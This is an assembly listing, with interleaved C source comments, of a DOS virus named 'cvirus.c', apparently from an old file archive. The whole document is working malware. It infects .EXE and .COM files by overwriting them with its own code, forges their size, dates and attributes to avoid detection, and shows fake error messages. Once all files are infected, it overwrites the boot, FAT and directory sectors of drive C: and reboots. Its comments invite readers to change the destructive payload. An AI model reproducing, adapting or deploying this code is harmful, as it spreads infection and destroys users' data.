home *** CD-ROM | disk | FTP | other *** search
- ifndef ??version
- ?debug macro
- endm
- $comm macro name,dist,size,count
- comm dist name:BYTE:count*size
- endm
- else
- $comm macro name,dist,size,count
- comm dist name[size]:BYTE:count
- endm
- endif
- ?debug S "cvirus.c"
- ?debug C E9A18C4217086376697275732E63
- ?debug C E90008A41413433A5C54435C494E434C5544455C6469722E68
- ?debug C E90008A41413433A5C54435C494E434C5544455C646F732E68
- ?debug C E90008A41415433A5C54435C494E434C5544455C66636E746C2E68
- ?debug C E90008A41412433A5C54435C494E434C5544455C696F2E68
- ?debug C E90008A41416433A5C54435C494E434C5544455C7374646172672E+
- ?debug C 68
- ?debug C E90008A41415433A5C54435C494E434C5544455C737464696F2E68
- _TEXT segment byte public 'CODE'
- _TEXT ends
- DGROUP group _DATA,_BSS
- assume cs:_TEXT,ds:DGROUP
- _DATA segment word public 'DATA'
- d@ label byte
- d@w label word
- _DATA ends
- _BSS segment word public 'BSS'
- b@ label byte
- b@w label word
- _BSS ends
- _DATA segment word public 'DATA'
- _screw_virex label byte
- db 245
- db 35
- db 114
- db 150
- db 84
- db 250
- db 227
- db 188
- db 205
- db 4
- db 0
- _DATA ends
- _TEXT segment byte public 'CODE'
- ;
- ; void hostile_activity(void)
- ;
- assume cs:_TEXT
- _hostile_activity proc near
- push bp
- mov bp,sp
- ;
- ; {
- ; /* Put whatever you feel like doing here...
- ; I chose to make this routine trash the victim's boot, FAT, and
- ; directory sectors, but you can alter this code however you want,
- ; and are encouraged to do so.
- ; */
- ;
- ;
- ; #ifdef DEBUG
- ; puts("\aAll files infected!");
- ; exit(1);
- ; #else
- ; /* Overwrite five sectors, starting with sector 0, on C:, with the
- ; memory at location DS:0000 (random garbage).
- ; */
- ;
- ; abswrite(2, 5, 0, (void *) 0);
- ;
- xor ax,ax
- push ax
- xor dx,dx
- push ax
- push dx
- mov ax,5
- push ax
- mov ax,2
- push ax
- call near ptr _abswrite
- add sp,10
- ;
- ; __emit__(0xCD, 0x19); // Reboot computer
- ;
- db 205
- db 25
- ;
- ; #endif
- ; }
- ;
- pop bp
- ret
- _hostile_activity endp
- _TEXT ends
- _DATA segment word public 'DATA'
- db 78
- db 77
- db 65
- db 78
- db 0
- _DATA ends
- _TEXT segment byte public 'CODE'
- ;
- ; int infected(char *fname)
- ;
- assume cs:_TEXT
- _infected proc near
- push bp
- mov bp,sp
- sub sp,36
- push si
- ;
- ; {
- ; /* This function determines if fname is infected. It reads four
- ; bytes 28 bytes in from the start and checks them agains the
- ; current header. 1 is returned if the file is already infected,
- ; 0 if it isn't.
- ; */
- ;
- ; register int handle;
- ; char virus_signature[35];
- ; static char check[] = SIGNATURE;
- ;
- ; handle = _open(fname, O_RDONLY);
- ;
- mov ax,1
- push ax
- push word ptr [bp+4]
- call near ptr __open
- add sp,4
- mov si,ax
- ;
- ; _read(handle, virus_signature, sizeof(virus_signature));
- ;
- mov ax,35
- push ax
- lea ax,word ptr [bp-36]
- push ax
- push si
- call near ptr __read
- add sp,6
- ;
- ; close(handle);
- ;
- push si
- call near ptr _close
- inc sp
- inc sp
- ;
- ;
- ; #ifdef DEBUG
- ; printf("Signature for %s: %.4s\n", fname, &virus_signature[28]);
- ; #endif
- ;
- ; /* This next bit may look really stupid, but it actually saves about
- ; 100 bytes.
- ; */
- ;
- ; return((virus_signature[28] == check[0]) && (virus_signature[29] == check[1])
- ;
- ;
- ; && (virus_signature[30] == check[2]) && (virus_signature[31] == check[3]));
- ;
- mov al,byte ptr [bp-8]
- cmp al,byte ptr DGROUP:d@+11
- jne short @2@146
- mov al,byte ptr [bp-7]
- cmp al,byte ptr DGROUP:d@+11+1
- jne short @2@146
- mov al,byte ptr [bp-6]
- cmp al,byte ptr DGROUP:d@+11+2
- jne short @2@146
- mov al,byte ptr [bp-5]
- cmp al,byte ptr DGROUP:d@+11+3
- jne short @2@146
- mov ax,1
- jmp short @2@170
- @2@146:
- xor ax,ax
- @2@170:
- ;
- ; }
- ;
- pop si
- mov sp,bp
- pop bp
- ret
- _infected endp
- ;
- ; void spread(char *virus, struct ffblk *victim)
- ;
- assume cs:_TEXT
- _spread proc near
- push bp
- mov bp,sp
- sub sp,4740
- push si
- push di
- ;
- ; {
- ; /* This function infects victim with virus. First, the victim's
- ; attributes are set to 0. Then the virus is copied into
- ; the victim's file name. Its attributes, file date/time, and
- ; size are set to that of the victim's, preventing detection, and
- ; the files are closed.
- ; */
- ;
- ; register int virus_handle, victim_handle;
- ; unsigned virus_size;
- ; char virus_code[TOO_SMALL + 1], *victim_name;
- ;
- ;
- ; /* This is used enought to warrant saving it in a separate variable */
- ;
- ; victim_name = victim->ff_name;
- ;
- mov ax,word ptr [bp+6]
- add ax,30
- mov word ptr [bp-4],ax
- ;
- ;
- ;
- ; #ifdef DEBUG
- ; printf("Infecting %s with %s...\n", victim_name, virus);
- ; #endif
- ;
- ; /* Turn off all of the victim's attributes so it can be replaced */
- ;
- ; _chmod(victim_name, 1, 0);
- ;
- xor ax,ax
- push ax
- mov ax,1
- push ax
- push word ptr [bp-4]
- call near ptr __chmod
- add sp,6
- ;
- ;
- ;
- ; #ifdef DEBUG
- ; puts("Ok so far...");
- ; #endif
- ;
- ; /* Recreate the victim */
- ;
- ; virus_handle = _open(virus, O_RDONLY);
- ;
- mov ax,1
- push ax
- push word ptr [bp+4]
- call near ptr __open
- add sp,4
- mov di,ax
- ;
- ; victim_handle = _creat(victim_name, victim->ff_attrib);
- ;
- mov bx,word ptr [bp+6]
- mov al,byte ptr [bx+21]
- cbw
- push ax
- push word ptr [bp-4]
- call near ptr __creat
- add sp,4
- mov si,ax
- ;
- ;
- ;
- ; /* Copy virus */
- ;
- ; virus_size = _read(virus_handle, virus_code, sizeof(virus_code));
- ;
- mov ax,4736
- push ax
- lea ax,word ptr [bp-4740]
- push ax
- push di
- call near ptr __read
- add sp,6
- mov word ptr [bp-2],ax
- ;
- ; _write(victim_handle, virus_code, virus_size);
- ;
- push ax
- lea ax,word ptr [bp-4740]
- push ax
- push si
- call near ptr __write
- add sp,6
- ;
- ;
- ;
- ; #ifdef DEBUG
- ; puts("Almost done...");
- ; #endif
- ;
- ; /* Reset victim's file date, time, and size */
- ;
- ; chsize(victim_handle, victim->ff_fsize);
- ;
- mov bx,word ptr [bp+6]
- push word ptr [bx+28]
- push word ptr [bx+26]
- push si
- call near ptr _chsize
- add sp,6
- ;
- ; setftime(victim_handle, (struct ftime *) &victim->ff_ftime);
- ;
- mov ax,word ptr [bp+6]
- add ax,22
- push ax
- push si
- call near ptr _setftime
- add sp,4
- ;
- ;
- ;
- ; /* Close files */
- ;
- ; close(virus_handle);
- ;
- push di
- call near ptr _close
- inc sp
- inc sp
- ;
- ; close(victim_handle);
- ;
- push si
- call near ptr _close
- inc sp
- inc sp
- ;
- ;
- ; #ifdef DEBUG
- ; puts("Infection complete!");
- ; #endif
- ; }
- ;
- pop di
- pop si
- mov sp,bp
- pop bp
- ret
- _spread endp
- _TEXT ends
- _DATA segment word public 'DATA'
- dw DGROUP:s@
- dw DGROUP:s@+6
- db 0
- db 0
- _DATA ends
- _BSS segment word public 'BSS'
- db 43 dup (?)
- _BSS ends
- _TEXT segment byte public 'CODE'
- ;
- ; struct ffblk *victim(void)
- ;
- assume cs:_TEXT
- _victim proc near
- push bp
- mov bp,sp
- push si
- push di
- ;
- ; {
- ; /* This function returns a pointer to the name of the virus's next
- ; victim. This routine is set up to try to infect .EXE and .COM
- ; files. If there is a command line argument, it will try to infect
- ; that file instead. If all files are infected, hostile activity
- ; is initiated...
- ; */
- ;
- ; register int done;
- ; register char **ext;
- ; static char *types[] = {"*.EXE", "*.COM", NULL};
- ; static struct ffblk ffblk;
- ;
- ; for (ext = (*++_argv) ? _argv : types; *ext; ext++) {
- ;
- add word ptr DGROUP:__argv,2
- mov bx,word ptr DGROUP:__argv
- cmp word ptr [bx],0
- je short @4@74
- mov ax,word ptr DGROUP:__argv
- jmp short @4@98
- @4@74:
- mov ax,offset DGROUP:d@w+16
- @4@98:
- mov si,ax
- jmp short @4@362
- @4@122:
- ;
- ; done = findfirst(*ext, &ffblk, FA_RDONLY | FA_HIDDEN | FA_SYSTEM | FA_ARCH);
- ;
- mov ax,39
- push ax
- mov ax,offset DGROUP:b@w+0
- push ax
- push word ptr [si]
- call near ptr _findfirst
- add sp,6
- jmp short @4@290
- @4@146:
- ;
- ; while (!done) {
- ;
- ; #ifdef DEBUG
- ; printf("Scanning %s...\n", ffblk.ff_name);
- ; #endif
- ;
- ; /* If you want to check for specific days of the week, months, etc.,
- ; here is the place to insert the code (don't forget to "#include
- ; <time.h>").
- ; */
- ;
- ; if ((ffblk.ff_fsize > TOO_SMALL) && (!infected(ffblk.ff_name)))
- ;
- cmp word ptr DGROUP:b@w+0+28,0
- jl short @4@266
- jg short @4@218
- cmp word ptr DGROUP:b@w+0+26,4735
- jbe short @4@266
- @4@218:
- mov ax,offset DGROUP:b@w+0+30
- push ax
- call near ptr _infected
- inc sp
- inc sp
- or ax,ax
- jne short @4@266
- ;
- ; return(&ffblk);
- ;
- mov ax,offset DGROUP:b@w+0
- jmp short @4@410
- @4@266:
- ;
- ; done = findnext(&ffblk);
- ;
- mov ax,offset DGROUP:b@w+0
- push ax
- call near ptr _findnext
- inc sp
- inc sp
- @4@290:
- mov di,ax
- or di,di
- je short @4@146
- inc si
- inc si
- @4@362:
- cmp word ptr [si],0
- jne short @4@122
- ;
- ; }
- ; }
- ;
- ;
- ; /* If there are no files left to infect, have a little fun */
- ;
- ; hostile_activity();
- ;
- call near ptr _hostile_activity
- @4@410:
- ;
- ; }
- ;
- pop di
- pop si
- pop bp
- ret
- _victim endp
- _TEXT ends
- _DATA segment word public 'DATA'
- dw DGROUP:s@+12
- dw DGROUP:s@+26
- dw DGROUP:s@+41
- dw DGROUP:s@+61
- dw DGROUP:s@+78
- dw DGROUP:s@+97
- dw DGROUP:s@+115
- dw DGROUP:s@+144
- _DATA ends
- _TEXT segment byte public 'CODE'
- ;
- ; int main(void)
- ;
- assume cs:_TEXT
- _main proc near
- push bp
- mov bp,sp
- push si
- ;
- ; {
- ; /* In the main program, a victim is found and infected. If all files
- ; are infected, a malicious action is performed. Otherwise, a bogus
- ; error message is displayed, and the virus terminates with code
- ; 1, simulating an error.
- ; */
- ;
- ; static char *err_msg[] = {"Out of memory", "Bad EXE format",
- ; "Invalid DOS version", "Bad memory block",
- ; "FCB creation error", "Sharing violation",
- ; "Abnormal program termination",
- ; "Divide error"
- ; };
- ; register char *virus_name = *_argv;
- ;
- mov bx,word ptr DGROUP:__argv
- mov si,word ptr [bx]
- ;
- ;
- ; spread(virus_name, victim());
- ;
- call near ptr _victim
- push ax
- push si
- call near ptr _spread
- add sp,4
- ;
- ; puts(err_msg[peek(0, 0x46C) % (sizeof(err_msg) / sizeof(char *))]);
- ;
- xor ax,ax
- mov es,ax
- mov bx,word ptr es:[1132]
- and bx,7
- shl bx,1
- push word ptr DGROUP:d@w+22[bx]
- call near ptr _puts
- inc sp
- inc sp
- ;
- ; return(1);
- ;
- mov ax,1
- ;
- ; }
- ;
- pop si
- pop bp
- ret
- _main endp
- ?debug C E9
- _TEXT ends
- _DATA segment word public 'DATA'
- s@ label byte
- db '*.EXE'
- db 0
- db '*.COM'
- db 0
- db 'Out of memory'
- db 0
- db 'Bad EXE format'
- db 0
- db 'Invalid DOS version'
- db 0
- db 'Bad memory block'
- db 0
- db 'FCB creation error'
- db 0
- db 'Sharing violation'
- db 0
- db 'Abnormal program termination'
- db 0
- db 'Divide error'
- db 0
- _DATA ends
- _TEXT segment byte public 'CODE'
- _TEXT ends
- extrn __creat:near
- extrn __open:near
- public _infected
- extrn _findfirst:near
- extrn _findnext:near
- public _hostile_activity
- extrn _setftime:near
- extrn __read:near
- public _victim
- extrn _puts:near
- extrn __argv:word
- public _main
- extrn _chsize:near
- public _screw_virex
- extrn _close:near
- public _spread
- extrn __write:near
- extrn __chmod:near
- extrn _abswrite:near
- end